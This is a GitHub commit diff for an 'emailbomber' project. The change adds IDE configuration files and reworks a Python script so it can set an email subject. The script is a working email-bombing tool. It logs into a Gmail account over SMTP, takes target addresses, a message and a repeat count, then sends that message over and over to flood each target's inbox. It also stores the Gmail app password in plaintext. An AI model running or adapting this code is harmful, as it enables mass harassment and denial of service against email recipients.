Skip to content

Commit a57d4ac

Browse files
authored
Merge pull request #22 from chavi362/adding-subject
feature to add subject
2 parents 2e4d578 + aa0dc22 commit a57d4ac

File tree

7 files changed

+87
-38
lines changed

7 files changed

+87
-38
lines changed

.idea/.gitignore

Lines changed: 3 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/emailbomber.iml

Lines changed: 8 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/inspectionProfiles/profiles_settings.xml

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/misc.xml

Lines changed: 4 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/modules.xml

Lines changed: 8 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/vcs.xml

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

emailbomber.py

Lines changed: 52 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -1,74 +1,88 @@
1-
#Built-in library's.
1+
# Built-in libraries
22
import smtplib
33
from os import access, path, mkdir
44
from email.message import EmailMessage
55

6-
print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n") #Welcomes user.
6+
# Welcomes user
7+
print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n")
78

8-
#User inputs
9-
if not path.exists("User_Credentials"): #If User_Credentials does not exist, asks for user credentials.
10-
sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ") #The gmail address that emails will be sent from e.g. example@gmail.com.
11-
app_password = input("Enter the app's password (xxxx xxxx xxxx xxxx)-> ") #The app's password that was created from the Gmail address e.g. alig maou tajh jagq.
12-
else: #Otherwise, reads saved user credentials.
13-
sender = open("User_Credentials/sender.txt", "rt").read() #Reads saved user gmail.
14-
app_password = open("User_Credentials/app_password.txt", "rt").read() #Reads saved user app password.
9+
# User inputs
10+
if not path.exists("User_Credentials"):
11+
# If User_Credentials does not exist, asks for user credentials
12+
sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ")
13+
app_password = input("Enter the app's password (xxxx xxxx xxxx xxxx) -> ")
14+
else:
15+
# Otherwise, reads saved user credentials
16+
sender = open("User_Credentials/sender.txt", "rt").read()
17+
app_password = open("User_Credentials/app_password.txt", "rt").read()
18+
19+
print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)")
20+
21+
# Enter the email(s) that you would like to email-bomb
22+
receiver = input("Specify the email(s) you would like to email-bomb -> ")
23+
24+
# Enter the subject for the emails
25+
subject = input("Enter the subject for your email-bomber message -> ")
26+
27+
# Enter the message that the email user(s) will receive
28+
msg = input("Enter your email-bomber message -> ")
1529

16-
print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") #Tells user how to email-bomb more than one email.
17-
receiver = input("Specify the email(s) you would like to email-bomb -> ") #Enter the email(s) that you would like to email-bomb.
18-
msg = input("Enter your email-bomber message -> ") #The message that the email user(s) will receive.
1930
message = EmailMessage()
2031
message.set_content(msg, subtype="plain", charset='us-ascii')
21-
message = str(message)
32+
message["Subject"] = subject # Set the subject for the email
2233

23-
# Loop until valid count value is given
24-
while(True):
34+
# Loop until a valid count value is given
35+
while True:
2536
try:
26-
count = int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
37+
count = int(input("Enter a number for the amount of emails to be sent -> "))
2738
except ValueError:
2839
print("Please enter an integer for the amount of emails to be sent.")
2940
except KeyboardInterrupt:
3041
print("Goodbye!")
3142
quit()
32-
43+
3344
if count <= 0:
3445
print("Count must be positive. Received", count)
3546
continue
3647
break
3748

38-
#Server
39-
server = smtplib.SMTP("smtp.gmail.com",587) #Initializes SMTP server.
40-
server.starttls() #Start SMTP server.
49+
# Server
50+
server = smtplib.SMTP("smtp.gmail.com", 587)
51+
server.starttls()
4152

42-
try: #Attempts to log in to user's gmail account.
43-
server.login(user= sender, password= app_password) #Logins to user's account.
44-
except smtplib.SMTPAuthenticationError as error: #Incorrect credentials inputted by user.
53+
# Attempts to log in to the user's Gmail account
54+
try:
55+
server.login(user=sender, password=app_password)
56+
except smtplib.SMTPAuthenticationError as error:
4557
print("\nError: Make sure the Gmail address that you inputted is the same as the Gmail account you have created an app password for.\nAlso, double-check your Gmail and app password.")
4658
print(f"{error}")
4759
input("Enter to exit...")
48-
quit() #Quits program.
60+
quit()
4961

5062
try:
51-
if not path.exists("User_Credentials"): #If user credentials does not exist, creates and saves credential files.
52-
#If there are no errors in credentials, save user information after SMTP verification.
53-
mkdir("User_Credentials") #Creats User_Credentials folder.
54-
open("User_Credentials/sender.txt", "xt").write(sender) #Creates and saves user's Gmail address to User_Credentials folder.
55-
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
63+
if not path.exists("User_Credentials"):
64+
# If user credentials do not exist, create and save credential files
65+
# If there are no errors in credentials, save user information after SMTP verification
66+
mkdir("User_Credentials")
67+
open("User_Credentials/sender.txt", "xt").write(sender)
68+
open("User_Credentials/app_password.txt", "xt").write(app_password)
5669
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
57-
except OSError: #Operating system error.
70+
except OSError:
5871
print("\nError: There was an error saving your credentials.")
5972

6073
print("\nEmail-bomber has started...\n")
6174

62-
for i in range(count): #Amount of messages to be sent.
63-
for email_receiver in receiver.split(","): #Loops through emails to send emails to.
64-
try:
65-
print(f"Email-bombing {email_receiver}...")
66-
server.sendmail(from_addr= sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
75+
for i in range(count):
76+
# Amount of messages to be sent
77+
for email_receiver in receiver.split(","):
78+
# Loops through emails to send emails to
79+
try:
80+
print(f"Email-bombing {email_receiver}...")
81+
server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message.as_string())
6782
print("Email sent successfully!")
6883
except smtplib.SMTPException as error:
6984
print(f"Error: {error}")
7085
continue
7186

72-
73-
input("\nEmail-bomber was successful...\nPress enter to exit...") #Email-bomber finished.
74-
server.close() #Closes server.
87+
input("\nEmail-bomber was successful...\nPress enter to exit...")
88+
server.close()

0 commit comments

Comments
 (0)